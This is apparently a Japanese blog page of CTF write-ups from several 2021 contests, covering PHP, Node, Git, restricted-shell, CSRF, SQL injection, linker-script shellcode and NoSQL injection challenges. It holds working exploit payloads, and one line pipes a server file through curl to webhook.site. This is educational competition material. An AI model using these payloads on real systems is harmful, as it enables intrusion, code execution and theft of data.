st98 の日記帳 - コピー

なにか変なことが書かれていたり、よくわからない部分があったりすればコメントでご指摘ください。匿名でもコメント可能です🙏

S4CTF 2021 writeup

4/23 - 4/25という日程で開催された。zer0ptsで参加して2位。

[Web] junior-php

&| そして ^ 演算子の左右のオペランドが文字列の場合、その演算は、 文字列を構成する文字の ASCII 値を使って行います。その結果は文字列になります。 それ以外の場合は、左右のオペランドを integer に変換 し、結果も integer になります。

https://www.php.net/manual/ja/language.operators.bitwise.php

PHP 8.0.0 より前のバージョンでは、 未定義の定数は、ちょうどstringとして コールしたかのように(CONSTANT vs "CONSTANT")、 PHPはその定数自体の名前を使用したと解釈していました

https://www.php.net/manual/ja/language.constants.syntax.php

という仕様を使って [A-Za-z0-9] $ = の使用を回避しつつ passthrucat flag* というふたつの文字列を作る。可変関数という機能を使って passthru('cat flag*') が呼び出せる。

import urllib.parse

def encode(s):
  s = [c ^ 0xff for c in s]
  return bytes(s) + b'^' + b'\xff' * len(s)

print(urllib.parse.quote(
  b'(' + encode(b'passthru') + b')(' + encode(b'cat flag*') + b');'
))

San Diego CTF 2021 writeup

5/8 - 5/10の日程で開催された。zer0ptsで参加して1位🎉Discordサーバがスコアサーバという不思議なCTFだった。

[Crypto] Case64AR

問題名からシーザー暗号 + Base64と推測できる。シーザー暗号で回すのは暗号文の方ではなく、Base64のテーブルの方。

import string
import base64
s = 'OoDVP4LtFm7lKnHk+JDrJo2jNZDROl/1HH77H5Xv'

table = string.ascii_uppercase
table += string.ascii_lowercase
table += string.digits
table += '+/'

for i in range(64):
  tr = str.maketrans(table, table[i:] + table[:i])
  print(base64.b64decode(s.translate(tr)))

[Crypto] A Prime Hash Candidate

実装が面倒になったらZ3。

from z3 import *

def hash(data):
  out = 0
  for c in data:
    out *= 31
    out += c
  return out

password = [Int('password_%d' % i) for i in range(17)]
solver = Solver()
for c in password:
  solver.add(ord(' ') <= c, c <= ord('~'))
solver.add(hash(password) == 59784015375233083673486266)

r = solver.check()
m = solver.model()
print(''.join(chr(m[c].as_long()) for c in password))

[Crypto] Lost in Transmission

flag.dat の全てのバイトが偶数でほとんどのバイトが0x80を超えているあたりから、フラグの各文字の文字コードが2倍されているのだなあとエスパーできる。

print(''.join(chr(c // 2) for c in s))

[Web] Apollo 1337

minifyされたコードを頑張って読んでいくと、/api/status?verbose= というAPIエンドポイントがあること、yiLYDykacWp9sgPMluQeKkANeRFXyU3ZuxBrj2BQ がなんらかのトークンとして使えることがわかる。

f:id:st98:20210616115954p:plain

/api/status?verbose=abc/status のほかにもAPIエンドポイントがあることがわかる。

{"status":"health","longStatus":"Healthy. All routes are functioning properly.","version":"1.0.0","routes":[{"path":"/status","status":"healthy"},{"path":"/rocketLaunch","status":"healthy"},{"path":"/fuel","status":"healthy"}]}

/rocketLaunch が怪しい。エラーメッセージなどから頑張ってAPIの使い方を探っていく。

$ curl "https://space.sdc.tf/api/rocketLaunch" -H "Content-Type: application/json" -d '{}'
rocket not specified
$ curl "https://space.sdc.tf/api/rocketLaunch" -H "Content-Type: application/json" -d '{"rocket":""}'
rocket not recognized (available: triton)
$ curl "https://space.sdc.tf/api/rocketLaunch" -H "Content-Type: application/json" -d '{"rocket":"triton"}'
launchTime not specified
$ curl "https://space.sdc.tf/api/rocketLaunch" -H "Content-Type: application/json" -d '{"rocket":"triton","launchTime":""}'
launchTime not in hh:mm format
$ curl "https://space.sdc.tf/api/rocketLaunch" -H "Content-Type: application/json" -d '{"rocket":"triton","launchTime":"00:00"}'
launchTime unapproved
$ for m in {0..60}; do echo -en "$m: "; curl "https://space.sdc.tf/api/rocketLaunch" -H "Content-Type: application/json" -d '{"rocket":"triton","launchTime":"12:'$(printf "%02d" $m)'"}'; echo; done
0: fuel pumpID not specified
1: launchTime unapproved
2: launchTime unapproved
3: launchTime unapproved
4: launchTime unapproved
5: launchTime unapproved
6: launchTime unapproved
7: launchTime unapproved
8: launchTime unapproved
9: launchTime unapproved
$ curl "https://space.sdc.tf/api/rocketLaunch" -H "Content-Type: application/json" -d '{"rocket":"triton","launchTime":"12:00","pumpID":4}'
frontend authorization token not specified
$ curl "https://space.sdc.tf/api/rocketLaunch" -H "Content-Type: application/json" -d '{"rocket":"triton","launchTime":"12:00","pumpID":4,"token":"yiLYDykacWp9sgPMluQeKkANeRFXyU3Zux
Brj2BQ"}'
rocket launched. sdctf{0ne_sM@lL_sT3p_f0R_h@ck3r$}

[Web] GETS Request

/prime?n[toString]=12 で以下のようなエラーが出ることから、Node.js + Expressが使われていることがわかる。

TypeError: Cannot convert object to primitive value
    at /app/index.js:26:33
    at Layer.handle [as handle_request] (/app/node_modules/express/lib/router/layer.js:95:5)
    at next (/app/node_modules/express/lib/router/route.js:137:13)
    at Route.dispatch (/app/node_modules/express/lib/router/route.js:112:3)
    at Layer.handle [as handle_request] (/app/node_modules/express/lib/router/layer.js:95:5)
    at /app/node_modules/express/lib/router/index.js:281:22
    at Function.process_params (/app/node_modules/express/lib/router/index.js:335:12)
    at next (/app/node_modules/express/lib/router/index.js:275:10)
    at expressInit (/app/node_modules/express/lib/middleware/init.js:40:5)
    at Layer.handle [as handle_request] (/app/node_modules/express/lib/router/layer.js:95:5)

ということは ?n[]=… で文字列と配列を混同させることができるのではないか。適当にいじっていたらフラグが得られた。

$ curl -g "https://gets.sdc.tf/prime?n[]=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
buffer overflow! sdctf{B3$T_0f-b0TH_w0rLds}

[Web] Git Good

問題名からGitネタだなあと推測できる。rip-git.pl/.git をダウンロードして objects/ 下のファイルを展開していくと、/secret.flag にフラグがあることがわかる。

/* (snip) */
// gotta make sure we don't leak important stuff!
app.all('/users.db', (req, res) => res.sendStatus(403))
app.all('/secret.flag', (req, res) => res.sendStatus(403))
app.all('/app.js', (req, res) => res.sendStatus(403))

// lastly, include all of our assets with zero side effects! :)
app.use(express.static('.'))
/* (snip) */

/secret.flag は弾かれるが、//secret.flag は通った。

$ curl --path-as-is "https://cgau.sdc.tf//secret.flag"
sdctf{1298754_Y0U_G07_g00D!}

[Misc] No flag for you

使えるコマンドは制限されているが、echo opt/*ls opt/ の、echo $(<filename)cat filename の代わりになることを使えばフラグが得られる。

$ nc noflag.sdc.tf 1337
There is no flag here.
rbash$ ls
README
bin
opt
rbash$ cat README
Hahahahahaha!

Welcome to the most restrictive shell ever. Don't even try to escape this.
rbash$ echo opt/*
opt/flag-b01d7291b94feefa35e6.txt
rbash$ cat opt/flag-b01d7291b94feefa35e6.txt
No flag for you!
rbash$ echo $(<opt/flag-b01d7291b94feefa35e6.txt)
sdctf{1t'5_7h3_sh3ll_1n_4_shEll}

m0leCon CTF 2021 Teaser writeup

5/15 - 5/16という日程で開催された。zer0ptsで参加して7位。

[Web] m0lefans

ユーザごとに別のサブドメインが用意されるInstagram的なSNSが与えられるので、adminのサブドメインを特定し、adminのフォロワーしか読めない記事をなんとかして読めという問題だった。

まずはadminのサブドメインを特定する方法。画像のアップロードができるエンドポイントは各ユーザごとに発行されたサブドメイン下ではなく、共通の https://m0lecon.fans/feed/create だった。CSRF対策もされていないので、以下のようにCSRFでadminに好きな画像をアップロードさせることができる。

<form method="POST" enctype="multipart/form-data" action="https://m0lecon.fans/feed/create" id="form">
  <input type="text" name="description" value="ok">
  <input type="file" name="file" id="up">
  <input type="submit" value="Publish" id="go">
</form>
<script>
(async () => {
const form = document.getElementById('form');
const up = document.getElementById('up');

const content = await fetch('computer_memory.png').then(resp => resp.blob());

const blob = new Blob([content], { type: "image/png"}); 
const filename = 'payload_' + Math.random() + '.png';
const file = new File([blob], filename);

const dt = new DataTransfer();
dt.items.add(file);
const list = dt.files;

up.files = list;

const go = document.getElementById('go');
go.click();
})();
</script>

ファイル名は拡張子だけが保持されてリネームされ、アップロードされた画像は <div class="row image" style="background-image: url(https://m0lecon.fans/static/media/posts/09a18c96-f438-458d-89ad-9edd32ee2c27.(拡張子)"></div> のようにCSSを使って表示される。ここでCSS Injectionができ、拡張子を );content:url('http:example.com.com'); のようにしてやると、example.com から画像が読み込まれる。この際送られてきたHTTPリクエストを見ると、リファラy0urmuchb3l0v3d4dm1n.m0lecon.fans とadminのサブドメインが入っていた。

adminにフォローリクエストを送っても無視される。フォローリクエストの承認が行われるエンドポイントはadminのサブドメイン下にあるが、こちらもCSRFでなんとかできる。

<form method="POST" enctype="multipart/form-data" action="https://y0urmuchb3l0v3d4dm1n.m0lecon.fans/profile/request" id="form">
  <input type="text" name="id" value="72">
  <input type="submit" value="Accept" id="go">
</form>
<script>
const go = document.getElementById('go');
go.click();
</script>

[Web] Waffle

WAF Bypass + 同じ名前のキーが二度出現するJSONの解釈の問題 + SQL Injection。まずs1r1usさんが /gettoken%3fcreditcard=asdf&promocode=FREEWAF で、Python側では FREEWAF までが path と解釈され、バックエンドのGolang側では creditcard=asdf&promocode=FREEWAF 部分はGETパラメータとして解釈されるために、WAFをバイパスしてトークンを発行させられることを見つけた。

@app.route('/', defaults={'path': ''}, methods=['GET'])
@app.route('/<path:path>', methods=['GET'])
def catch_all(path):
    print(path, unquote(path))
    
    if('gettoken' in unquote(path)):
        promo = request.args.get('promocode')
        creditcard = request.args.get('creditcard')

        if promo == 'FREEWAF':
            res = jsonify({'err':'Sorry, this promo has expired'})
            res.status_code = 400
            return res

        r = requests.get(appHost+path, params={'promocode':promo,'creditcard':creditcard})

    else:
        r = requests.get(appHost+path)
    
    headers = [(name, value) for (name, value) in r.raw.headers.items()]
    res = Response(r.content, r.status_code, headers)
    return res

バックエンドのGolang側には name 経由でのSQLiがある。Python側では以下のように name がalnumであるかどうかチェックしているが、 {"name":"a\u0027","name":"123"} という風に name というキーが二度出現するJSONを渡してやると、JSONのパース時にPython側では後者を、Golang側では前者を name の値とするためにバイパスできる。

    if 'name' in j:
        x = j['name']
        if not isinstance(x, str) or not x.isalnum():
            badReq = True

あとはSQLiするだけ。

$ curl --path-as-is "http://waffle.challs.m0lecon.it/search" -b "token=LQuKU5ViVGk4fsytWt9C" -H "Content-Type: application/json" -d '{"min_radius":0,"max_radius":0,"name":"a\u0027 union select 1, 2, 3, (select flag from flag) union select name, radius, height, img_url from waffle where name = \u0027","name":"123"}'
[{"name":"1","radius":2,"height":3,"img_url":"ptm{n3ver_ev3r_tru5t_4_pars3r!}"}]

JSONネタ関連の記事や過去問:

OMH 2021 CTF writeup

5/15 - 5/16という日程で開催された。zer0ptsで参加して5位。

[Misc] Linker Chess

以下のように、hello.c は編集できないけどリンカースクリプトは編集できるのでなんとかしてシェルを起動させろという問題。

#!/bin/sh
set -ev
sed '/^EOF/Q' > script.ld
cat > hello.c << EOF
#include <stdio.h>
#include <stdlib.h>

int main() {
    printf("Hello, world!\n");
    exit(0);
}
EOF

gcc -c hello.c -o hello.o
ld -T script.ld hello.o -o hello /usr/lib/x86_64-linux-gnu/libc.so -dynamic-linker /lib64/ld-linux-x86-64.so.2
./hello

実は既出ネタ。Hello, world!の代わりにシェルコードを仕込もう。

OUTPUT_FORMAT("elf64-x86-64", "elf64-x86-64", "elf64-x86-64")
OUTPUT_ARCH(i386:x86-64)
ENTRY(main)

SECTIONS
{
  . = 0x400000;
  .text : {
    main = .;
    BYTE(0x6a);BYTE(0x68);BYTE(0x48);BYTE(0xb8);BYTE(0x2f);BYTE(0x62);BYTE(0x69);BYTE(0x6e);BYTE(0x2f);BYTE(0x2f);BYTE(0x2f);BYTE(0x73);BYTE(0x50);BYTE(0x48);BYTE(0x89);BYTE(0xe7);BYTE(0x68);BYTE(0x72);BYTE(0x69);BYTE(0x1);BYTE(0x1);BYTE(0x81);BYTE(0x34);BYTE(0x24);BYTE(0x1);BYTE(0x1);BYTE(0x1);BYTE(0x1);BYTE(0x31);BYTE(0xf6);BYTE(0x56);BYTE(0x6a);BYTE(0x8);BYTE(0x5e);BYTE(0x48);BYTE(0x1);BYTE(0xe6);BYTE(0x56);BYTE(0x48);BYTE(0x89);BYTE(0xe6);BYTE(0x31);BYTE(0xd2);BYTE(0x6a);BYTE(0x3b);BYTE(0x58);BYTE(0xf);BYTE(0x5);
  }
}

[Web, Crypto] Hotlinker

ジャバ。jarJava Decompilerに投げてやるとデコンパイルできる。BOOT-INF/classes/ctf/tfns/hotlinker/webui/upload/UploadService.java を見るとどうやらURLのホスト名部分が localhost でないか確認しているようだが、127.0.0.2 とかでバイパスできる。

/*     */   private boolean notLocalhost(URL hostPart) throws MalformedURLException {
/*  83 */     return !hostPart.equals(new URL(hostPart.getProtocol() + "://localhost"));
/*     */   }

http://127.0.0.2:18080/actuator/heapdump から暗号化されたフラグを含むヒープダンプが得られる。これはEclipseのMemory Analyzerで解析できる。フラグはLCGを使って暗号化されていて、関連するパラメータもヒープダンプに含まれている。ふるつきさんに投げると一瞬でフラグが返ってきた。すごい。

3kCTF-2021 writeup

5/15 - 5/17という日程で開催された。zer0ptsで参加して3位。

[Web 425] online_compiler (30 solves)

PHPのセッションは大体 /tmp/sess_(セッションID) みたいに session.​save_path 下にファイルとして保存されることを使う。まず以下のコードで /El_FlAAG___FilEE の存在がわかる。実行するOSコマンドを cat /*FlAAG* に変えるとフラグ。

function save(code) {
  return $.post("http://" + location.hostname + ":5000/save", {
    c_type: "php", code
  });
}

function compile(c_type, filename) {
  return $.post("http://" + location.hostname + ":5000/compile", {
    c_type, filename
  });
}

let path1 = await save(`<?=session_id('poyo0py');session_start();$a='import os;os.system("ls /")#';`);
let path2 = await save(`<?=require('${path1}');$_SESSION[$a]=1;session_close();`);
console.log(path1, path2);
console.log(await compile('php', path2));
console.log(await compile('python', '../../../tmp/sess_poyo0py'));

[Web 438] Emoji (25 solves)

以下のコードを見るとGitHub3kctf2021webchallenge/downloader というリポジトリからしか取ってこれないように思えるが、$page../../../… を仕込んでやると好きなリポジトリから取ってこさせることができる。

        function fetch_and_parse($page){
                $a=file_get_contents("https://raw.githubusercontent.com/3kctf2021webchallenge/downloader/master/".$page.".html");
                preg_match_all("/<img src=\"(.*?)\">/", $a,$ma);
                return $ma;
        }

ということで、以下の手順でフラグが得られる。

  1. <img src="$(cat index.php | curl https://webhook.site/...?test -Ff=@-)"> みたいな内容のHTMLをGitHubのプライベートリポジトリに上げる
  2. /?dir=../../../st98/sandbox-private/master/test.html?token=(トークン)%23 みたいな感じのURLにアクセスするとペイロードが署名される
  3. 生成されたリンクにアクセスするとOS Command Injectionが発火

[Web 478] p(a)wnshop (9 solves)

まず以下のnginxのフィルターをバイパスして /backend/admin.py を叩く必要があるが、これは /backend/%2561dmin.py でなんとかできた(なんで?)。

    location ~admin {
        auth_basic "pawnshop admin";
        auth_basic_user_file /etc/nginx/.htpasswd;
    }

admin.py にはNoSQL Injection(Elasticsearch)がある。正規表現でがんばろう。

import ssl
import urllib.parse
import http.client
import string

def query(q):
  payload = f'" AND id:5 AND value:/{q}/ AND "@pawnshop.2021.3k.ctf.to'
  conn = http.client.HTTPSConnection("pawnshop.2021.3k.ctf.to", 4443, context=ssl._create_unverified_context())
  conn.request('POST', '/backend/%2561dmin.py', 'action=lookup&mail=' + urllib.parse.quote(payload))
  res = conn.getresponse().read()
  print('[debug]', q, res)
  return b'not found' not in res

table = ''
table += '_-'
table += string.ascii_lowercase
table += string.ascii_uppercase
table += string.digits
table += '.'

known = 'http2_'
while True:
  for c in table:
    if query(known + c + '.*'):
      known += c
      break
  print(known)